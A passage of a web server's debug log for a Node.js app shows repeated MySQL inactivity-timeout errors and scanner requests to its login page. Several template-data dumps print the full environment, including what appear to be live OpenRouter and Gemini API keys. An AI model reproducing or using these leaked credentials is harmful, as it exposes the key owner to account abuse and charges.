  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-31 07:22:18' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-31 08:54:18' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-31 08:54:18' as DATETIME)"
}
2026-01-31T09:30:27.086Z server-connect:router Serving templateView /
2026-01-31T09:30:27.088Z server-connect:app Executing action step identify
2026-01-31T09:30:27.088Z server-connect:app options: { provider: 'security' }
2026-01-31T09:30:27.089Z server-connect:auth No login cookie found
2026-01-31T09:30:27.089Z server-connect:output identity: false
2026-01-31T09:30:27.089Z server-connect:app Executing action step restrict
2026-01-31T09:30:27.089Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-31T09:30:27.090Z server-connect:output restrict: undefined
2026-01-31T09:30:27.482Z server-connect:router Serving templateView /login
2026-01-31T09:30:27.483Z server-connect:app Executing action step identify
2026-01-31T09:30:27.483Z server-connect:app options: { provider: 'security' }
2026-01-31T09:30:27.483Z server-connect:auth No login cookie found
2026-01-31T09:30:27.483Z server-connect:output identity: false
2026-01-31T09:30:27.483Z server-connect:router Render template layouts/authentication
2026-01-31T09:30:27.483Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'air.ai/scanning Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36',
    accept: '*/*',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '3.151.194.164',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-01T09:30:27.482Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '3.151.194.164',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'air.ai/scanning Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '3.151.194.164',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-31 14:06:19' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-31 14:06:19' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-31 16:05:19' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-31 16:05:19' as DATETIME)"
}
2026-01-31T16:53:24.912Z server-connect:router Serving templateView /diecast
2026-01-31T16:53:24.914Z server-connect:app Executing action step identify
2026-01-31T16:53:24.914Z server-connect:app options: { provider: 'security' }
2026-01-31T16:53:24.914Z server-connect:auth No login cookie found
2026-01-31T16:53:24.914Z server-connect:output identity: false
2026-01-31T16:53:24.914Z server-connect:app Executing action step restrict
2026-01-31T16:53:24.914Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-31T16:53:24.915Z server-connect:output restrict: undefined
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-31 17:23:20' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-31 17:23:20' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-31 19:09:20' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-31 19:09:20' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-31 19:22:20' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-31 19:22:20' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-31 19:24:20' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-31 19:24:20' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-31 21:12:19' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-31 21:12:19' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-31 21:18:19' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-31 21:18:19' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-31 23:55:20' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-31 23:55:20' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-01 03:36:20' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-01 03:36:20' as DATETIME)"
}
2026-02-01T06:09:48.560Z server-connect:router Serving templateView /
2026-02-01T06:09:48.561Z server-connect:app Executing action step identify
2026-02-01T06:09:48.561Z server-connect:app options: { provider: 'security' }
2026-02-01T06:09:48.561Z server-connect:auth No login cookie found
2026-02-01T06:09:48.561Z server-connect:output identity: false
2026-02-01T06:09:48.562Z server-connect:app Executing action step restrict
2026-02-01T06:09:48.562Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-01T06:09:48.562Z server-connect:output restrict: undefined
2026-02-01T06:09:51.801Z server-connect:router Serving templateView /login
2026-02-01T06:09:51.801Z server-connect:app Executing action step identify
2026-02-01T06:09:51.801Z server-connect:app options: { provider: 'security' }
2026-02-01T06:09:51.801Z server-connect:auth No login cookie found
2026-02-01T06:09:51.802Z server-connect:output identity: false
2026-02-01T06:09:51.802Z server-connect:router Render template layouts/authentication
2026-02-01T06:09:51.802Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '162.142.125.34',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-02T06:09:51.801Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '162.142.125.34',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '162.142.125.34',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-02-01 11:21:21' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-02-01 11:21:21' as DATETIME)"
}
2026-02-01T15:30:58.740Z server-connect:router Serving templateView /
2026-02-01T15:30:58.742Z server-connect:app Executing action step identify
2026-02-01T15:30:58.742Z server-connect:app options: { provider: 'security' }
2026-02-01T15:30:58.742Z server-connect:auth No login cookie found
2026-02-01T15:30:58.742Z server-connect:output identity: false
2026-02-01T15:30:58.742Z server-connect:app Executing action step restrict
2026-02-01T15:30:58.742Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-01T15:30:58.743Z server-connect:output restrict: undefined
2026-02-01T15:30:59.675Z server-connect:router Serving templateView /login
2026-02-01T15:30:59.676Z server-connect:app Executing action step identify
2026-02-01T15:30:59.676Z server-connect:app options: { provider: 'security' }
2026-02-01T15:30:59.676Z server-connect:auth No login cookie found
2026-02-01T15:30:59.676Z server-connect:output identity: false
2026-02-01T15:30:59.676Z server-connect:router Render template layouts/authentication
2026-02-01T15:30:59.676Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    connection: 'keep-alive',
